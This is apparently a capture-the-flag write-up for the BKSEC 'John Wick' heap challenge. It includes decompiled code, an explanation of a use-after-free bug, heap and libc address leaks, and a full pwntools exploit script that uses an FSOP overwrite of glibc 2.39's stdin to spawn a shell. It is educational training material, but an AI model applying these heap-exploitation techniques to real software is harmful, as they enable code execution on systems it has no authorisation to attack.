BACK TO ALL BLOGS

John Wick - BKSEC

3/19/2026
Binary ExploitBKSEC

Challenge Description

File type

bash
1$ file john_wick
2john_wick: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.39.so, BuildID[sha1]=2e84c6d0c7f8ee868d35ed8633acfc720abf9c9f, for GNU/Linux 3.2.0, stripped

Binary Protection

bash
1$ checksec john_wick
2[*] './john_wick'
3 Arch: amd64-64-little
4 RELRO: Full RELRO
5 Stack: Canary found
6 NX: NX enabled
7 PIE: PIE enabled
8 SHSTK: Enabled
9 IBT: Enabled

Background

  • Here is preview of john_wick execution.
plaintext
1==================== BKSEC High Table ==================
2============== CONTRACT MANAGEMENT SYSTEM ==============
31. Add a contract
42. Delete a contract
53. View a contract
64. Change status
75. Edit a contract description
86. Exit
9> 1
10Index: 0
11CONTRACT NO.0 >>>
12Name: SteGG
13Age: 18
14Height (cm): 171
15Length of description: 12
16Description: abc
17Bounty (in BKSEC coin, 1 BKSEC coin = 6M$): 3
18[*] Success!
19==================== BKSEC High Table ==================
20============== CONTRACT MANAGEMENT SYSTEM ==============
211. Add a contract
222. Delete a contract
233. View a contract
244. Change status
255. Edit a contract description
266. Exit
27> 3
28Index: 0
29>>>>>>>> EXCOMMUNICADO <<<<<<<<
30CONTRACT NO.0 >>>
31Name: SteGG
32
33Age: 18
34Height: 171 cm
35Description: abc
36
37Bounty: 3 BKSEC coins - 18M$
38Danger level: 0
39Status: OPEN
40==================== BKSEC High Table ==================
41============== CONTRACT MANAGEMENT SYSTEM ==============
421. Add a contract
432. Delete a contract
443. View a contract
454. Change status
465. Edit a contract description
476. Exit
48>

Decompile code

  • Glibc version: 2.39
c
1struct Contract {
2 unsigned __int32 age;
3 unsigned __int32 height;
4 unsigned __int32 length_desc;
5 char name[30];
6 unsigned __int16 bksec_coin;
7 unsigned __int16 mdollars;
8 unsigned __int16 danger_level;
9 char status[32];
10 char* description;
11};
12
13Contract* contracts[10];
c
1int add_contract()
2{
3 char *v1; // rax
4 int bounty; // [rsp+8h] [rbp-28h] BYREF
5 unsigned int idx; // [rsp+Ch] [rbp-24h]
6 unsigned int length_desc; // [rsp+10h] [rbp-20h]
7 unsigned int nbytes_4; // [rsp+14h] [rbp-1Ch]
8 Contract *new_contract; // [rsp+18h] [rbp-18h]
9 char *description; // [rsp+20h] [rbp-10h]
10 unsigned __int64 canary; // [rsp+28h] [rbp-8h]
11
12 canary = __readfsqword(0x28u);
13 new_contract = 0LL;
14 printf("Index: ");
15 idx = read_integer();
16 if ( idx <= 9 )
17 {
18 if ( contracts[idx] )
19 {
20 puts("Not available!!");
21 return 1337;
22 }
23 else
24 {
25 new_contract = (Contract *)malloc(88uLL);
26 if ( !new_contract )
27 {
28 puts("Error!");
29 exit(-1);
30 }
31 contracts[idx] = (__int64)new_contract;
32 printf("CONTRACT NO.%u >>>\n", idx);
33 memset(new_contract, 0, sizeof(Contract));
34 printf("Name: ");
35 read(0, new_contract->name, 29uLL);
36 printf("Age: ");
37 new_contract->age = read_integer();
38 printf("Height (cm): ");
39 new_contract->height = read_integer();
40 printf("Length of description: ");
41 length_desc = read_integer();
42 if ( length_desc <= 256 )
43 {
44 description = (char *)malloc(length_desc + 1);
45 if ( !description )
46 {
47 puts("Error!");
48 exit(-1);
49 }
50 printf("Description: ");
51 nbytes_4 = read(0, description, length_desc);
52 description[nbytes_4] = 0;
53 new_contract->description = description;
54 new_contract->length_desc = length_desc;
55 printf("Bounty (in BKSEC coin, 1 BKSEC coin = 6M$): ");
56 bounty = 0;
57 __isoc99_scanf("%d%*c", &bounty);
58 new_contract->bksec_coin = bounty;
59 *(_DWORD *)&new_contract->mdollars = 6 * new_contract->bksec_coin;
60 v1 = new_contract->status;
61 *(_DWORD *)new_contract->status = 0x4E45504F;// "OPEN"
62 v1[4] = 0;
63 return puts("[*] Success!");
64 }
65 else
66 {
67 puts("Too large!!");
68 free(new_contract);
69 return 1337;
70 }
71 }
72 }
73 else
74 {
75 puts("Invalid index!!");
76 return 1337;
77 }
78}
c
1int delete_contract()
2{
3 unsigned int idx; // [rsp+4h] [rbp-Ch]
4 Contract *ptr; // [rsp+8h] [rbp-8h]
5
6 printf("Index: ");
7 idx = read_integer();
8 if ( idx <= 9 && contracts[idx] )
9 {
10 ptr = (Contract *)contracts[idx];
11 printf("CONTRACT NO.%u >>> Delete\n", idx);
12 free(ptr->description);
13 ptr->description = 0LL;
14 free(ptr);
15 contracts[idx] = 0LL;
16 return puts("[*] Success!");
17 }
18 else
19 {
20 puts("Invalid index!!");
21 return 1337;
22 }
23}
c
1__int64 view_contract()
2{
3 unsigned int idx; // [rsp+4h] [rbp-Ch]
4 Contract *selected_contract; // [rsp+8h] [rbp-8h]
5
6 printf("Index: ");
7 idx = read_integer();
8 if ( idx <= 9 && contracts[idx] )
9 {
10 selected_contract = (Contract *)contracts[idx];
11 puts(">>>>>>>> EXCOMMUNICADO <<<<<<<<");
12 printf("CONTRACT NO.%u >>>\n", idx);
13 printf("Name: %s\n", selected_contract->name);
14 printf("Age: %d\n", selected_contract->age);
15 printf("Height: %d cm\n", selected_contract->height);
16 printf("Description: %s\n", selected_contract->description);
17 printf("Bounty: %hu BKSEC coins - %huM$\n", selected_contract->bksec_coin, selected_contract->mdollars);
18 printf("Danger level: %hu\n", selected_contract->danger_level);
19 printf("Status: %s\n", selected_contract->status);
20 return 0LL;
21 }
22 else
23 {
24 puts("Invalid index!!");
25 return 1337LL;
26 }
27}
c
1int change_status()
2{
3 unsigned int idx; // [rsp+4h] [rbp-Ch]
4 Contract *selected_contract; // [rsp+8h] [rbp-8h]
5
6 printf("Index: ");
7 idx = read_integer();
8 if ( idx <= 9 && contracts[idx] )
9 {
10 selected_contract = (Contract *)contracts[idx];
11 printf("CONTRACT NO.%u >>> Danger level: %hu\n", idx, selected_contract->danger_level);
12 if ( selected_contract->danger_level > 4u )
13 {
14 printf("New status: ");
15 __isoc99_scanf("%32s", selected_contract->status);
16 return puts("[*] Success!");
17 }
18 else
19 {
20 puts("FAIL! You can only change the status of contracts with danger level greater than or equal to 5 (HIGH).");
21 return 1337;
22 }
23 }
24 else
25 {
26 puts("Invalid index!!");
27 return 1337;
28 }
29}
c
1int edit_contract()
2{
3 unsigned int idx; // [rsp+0h] [rbp-10h]
4 Contract *selected_contract; // [rsp+8h] [rbp-8h]
5
6 printf("Index: ");
7 idx = read_integer();
8 if ( idx <= 9 && contracts[idx] )
9 {
10 selected_contract = (Contract *)contracts[idx];
11 printf("CONTRACT NO.%u >>> Edit description\n", idx);
12 printf("New description: ");
13 selected_contract->description[(unsigned int)read(0, selected_contract->description, selected_contract->length_desc)] = 0;
14 return puts("[*] Success!");
15 }
16 else
17 {
18 puts("Invalid index!!");
19 return 1337;
20 }
21}

Vulnerability

  • In add_contract() function, if I input size of description larger than 256, the program will free created contract at first. However, it forgot to set the selected element in global array contracts to NULL. That leads to use-after-free vulnerability.

Exploitation

Leak Heap Address

  • That freed contract will be put into tcache.
  • In glibc 2.39, fd pointer of all chunks in tcache is protected by some bitwise action. However, for the first chunk, its fd pointer is just heap address pointer and shift 12 bytes to the right.
  • Therefore, I tried to set description of a new contract to that freed pointer contract.
python
1add_contract(0, b"SteGG", 18, 171, 0x60, b"A", 0)
2add_contract(1, b"SteGG", 18, 171, 300, b"", 0)
3delete_contract(0)
  • Then I just need to use print operation and shift 12 bytes to the left to get heap address
python
1view_contract(1)
2target.recvuntil(b"Age: ")
3lower_heap = int(target.recvuntil(b"\n", drop=True).decode()) << 12
4target.recvuntil(b"Height: ")
5higher_heap = int(target.recvuntil(b" cm\n", drop=True).decode()) << 44
6heap_addr = higher_heap + lower_heap
7print(f"Heap: {hex(heap_addr)}")

Leak Libc Address

  • Since I put that freed contract into description field, I can do an arbitrary write to any address by creating a fake contract with target address in description field
  • Here I want to write to address offset 0x3c8 from heap address:
python
1payload = p32(18) + p32(171) + p32(0xff) + b"A" * 29 + b"\x00" + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(heap_addr + 0x3c8)
2add_contract(0, b"SteGG", 18, 171, 0x57, payload, 0)
  • Now I just need to edit description of contract index 1 to modify content of target address
python
1payload = p64(0x421) + p32(18) + p32(171) + p32(24) + b"A" * 30 + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(heap_addr + 0x3c8 + 0x420)
2edit_contract(1, payload)
  • The target is also a chunk in heap, I rewritten its size and 2 chunks after it so that when I free it, it will be put into unsorted bins. I just need to save a clone of its contract by using use-after-free again. when performing view contract action, I will get libc address.
python
1add_contract(2, b"SteGG", 18, 171, 300, b"", 0)
2add_contract(3, b"SteGG", 18, 171, 0x20, b"A", 0)
3payload = p64(0x421) + p32(18) + p32(171) + p32(24) + b"A" * 30 + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(heap_addr + 0x3c8 + 0x420)
4edit_contract(1, payload)
5payload = p64(0x11) + b"\x00" * 8 + p64(0x11)
6edit_contract(3, payload)
7payload = p64(0x421) + p32(18) + p32(171) + p32(24) + b"A" * 30 + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(0x0)
8edit_contract(1, payload)
9delete_contract(3)
10
11view_contract(2)
12target.recvuntil(b"Age: ")
13lower_libc = int(target.recvuntil(b"\n", drop=True).decode())
14if lower_libc < 0:
15 lower_libc += 0x100000000
16target.recvuntil(b"Height: ")
17higher_libc = int(target.recvuntil(b" cm\n", drop=True).decode()) << 32
18libc.address = higher_libc + lower_libc - 0x203b20
19print(f"Libc: {hex(libc.address)}")

Get Shell

  • To get shell in this challange, I decide to use FSOP technique and I will rewrite _IO_2_1_stdin_. When I call scanf, it will trigger __uflow function in vtable of _IO_2_1_stdin_
  • Glibc 2.39 added mitigation to verify the vtable of _IO_FILE structure before run the function inside it. Therefore, I can only rewrite wide_vtable of _wide_data pointer in stdin and then rewrite vtable to default wide_vtable of glibc (_IO_wide_jumps).
  • Code execution: scanf -> __vfscanf_internal -> vtable->__uflow (_IO_wide_jumps->__uflow) -> vtable->__underflow (_IO_wide_jumps->__underflow) -> wide_data->wide_vtable->__doallocbuf
  • With the above code execution, I just need to set system address function to __doallocbuf offset and add /bin/sh to _flags field of stdin to get shell

Exploit Code

python
1#!/usr/bin/env python
2from pwn import *
3import utils
4
5context.terminal = ['kitty', '@', 'launch', '--type=os-window', '--cwd={}'.format(os.getcwd())]
6context.log_level = "debug"
7context.arch = "amd64"
8
9TARGET = "./bin/john_wick"
10LIBC = "./lib/libc.so.6"
11
12if len(sys.argv) > 1 and sys.argv[1] == "remote":
13 target = remote("pwn-john-wick.training.bksec.vn", 8443)
14else:
15 target = process(TARGET)
16 gdbscript = """
17 breakrva 0x1c4f
18 """
19 # target: process | remote = gdb.debug(TARGET, gdbscript, env={"SHELL": "/bin/sh"})
20
21exe = ELF(TARGET)
22libc = ELF(LIBC)
23
24"""
25contracts: 0x4060
26"""
27
28def add_contract(index: int, name: bytes, age: int, height: int, length_desc: int, description: bytes, bounty: int):
29 target.sendafter(b"> ", b"1")
30 target.sendafter(b"Index: ", str(index).encode())
31 target.sendafter(b"Name: ", name)
32 target.sendafter(b"Age: ", str(age).encode())
33 target.sendafter(b"Height (cm): ", str(height).encode())
34 target.sendafter(b"Length of description: ", str(length_desc).encode())
35 if length_desc <= 256:
36 target.sendafter(b"Description: ", description)
37 target.sendlineafter(b"Bounty (in BKSEC coin, 1 BKSEC coin = 6M$): ", str(bounty).encode())
38
39def delete_contract(index: int):
40 target.sendafter(b"> ", b"2")
41 target.sendafter(b"Index: ", str(index).encode())
42
43def view_contract(index: int):
44 target.sendafter(b"> ", b"3")
45 target.sendafter(b"Index: ", str(index).encode())
46
47def change_status(index: int, status: bytes):
48 target.sendafter(b"> ", b"4")
49 target.sendafter(b"Index: ", str(index).encode())
50 target.sendlineafter(b"New status: ", status)
51
52def edit_contract(index: int, description: bytes):
53 target.sendafter(b"> ", b"5")
54 target.sendafter(b"Index: ", str(index).encode())
55 target.sendafter(b"New description: ", description)
56
57def exit_func():
58 target.sendafter(b"> ", b"6")
59
60add_contract(0, b"SteGG", 18, 171, 0x60, b"A", 0)
61add_contract(1, b"SteGG", 18, 171, 300, b"", 0)
62delete_contract(0)
63
64view_contract(1)
65target.recvuntil(b"Age: ")
66lower_heap = int(target.recvuntil(b"\n", drop=True).decode()) << 12
67target.recvuntil(b"Height: ")
68higher_heap = int(target.recvuntil(b" cm\n", drop=True).decode()) << 44
69heap_addr = higher_heap + lower_heap
70print(f"Heap: {hex(heap_addr)}")
71
72payload = p32(18) + p32(171) + p32(0xff) + b"A" * 29 + b"\x00" + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(heap_addr + 0x3c8)
73add_contract(0, b"SteGG", 18, 171, 0x57, payload, 0)
74add_contract(2, b"SteGG", 18, 171, 300, b"", 0)
75add_contract(3, b"SteGG", 18, 171, 0x20, b"A", 0)
76payload = p64(0x421) + p32(18) + p32(171) + p32(24) + b"A" * 30 + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(heap_addr + 0x3c8 + 0x420)
77edit_contract(1, payload)
78payload = p64(0x11) + b"\x00" * 8 + p64(0x11)
79edit_contract(3, payload)
80payload = p64(0x421) + p32(18) + p32(171) + p32(24) + b"A" * 30 + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(0x0)
81edit_contract(1, payload)
82delete_contract(3)
83
84view_contract(2)
85target.recvuntil(b"Age: ")
86lower_libc = int(target.recvuntil(b"\n", drop=True).decode())
87if lower_libc < 0:
88 lower_libc += 0x100000000
89target.recvuntil(b"Height: ")
90higher_libc = int(target.recvuntil(b" cm\n", drop=True).decode()) << 32
91libc.address = higher_libc + lower_libc - 0x203b20
92print(f"Libc: {hex(libc.address)}")
93
94fake_file = libc.symbols["_IO_2_1_stdin_"]
95# Make heap_addr + 0x3c8 become _wide_data
96payload = flat({
97 # _wide_data->_IO_read_ptr
98 0x00: p64(0),
99 # _wide_data->_IO_read_end
100 0x8: p64(0),
101 # _wide_data->_IO_buf_base
102 0x30: p64(0),
103 # _wide_data->_IO_save_base
104 0x40: p64(0),
105 # _wide_data->_wide_vtable
106 0xe0: fake_file
107})
108edit_contract(1, payload)
109
110payload = p32(18) + p32(171) + p32(0xff) + b"A" * 29 + b"\x00" + p16(0x0) + p16(0x0) + p16(0x8) + b"A" * 32 + p64(libc.symbols["_IO_2_1_stdin_"])
111edit_contract(0, payload)
112
113payload = flat(
114 {
115 # file._flags
116 0x00: b" sh\x00",
117 # file._IO_read_ptr
118 0x8: p64(0),
119 # file._IO_read_end
120 0x10: p64(0),
121 # file._IO_buf_base
122 0x38: p64(1),
123 # file._IO_save_base
124 0x48: p64(0),
125 # file._markers
126 0x60: p64(0),
127 # file._chain
128 0x68: libc.symbols["system"],
129 # file._lock
130 0x88: libc.symbols["_IO_stdfile_0_lock"],
131 # file._wide_data
132 0xa0: heap_addr + 0x3c8,
133 # file._mode
134 0xc0: p64(0),
135 # _vtable
136 0xd8: libc.symbols["_IO_wfile_jumps"],
137 }
138)
139edit_contract(1, payload)
140change_status(1, b"Completed")
141
142target.interactive()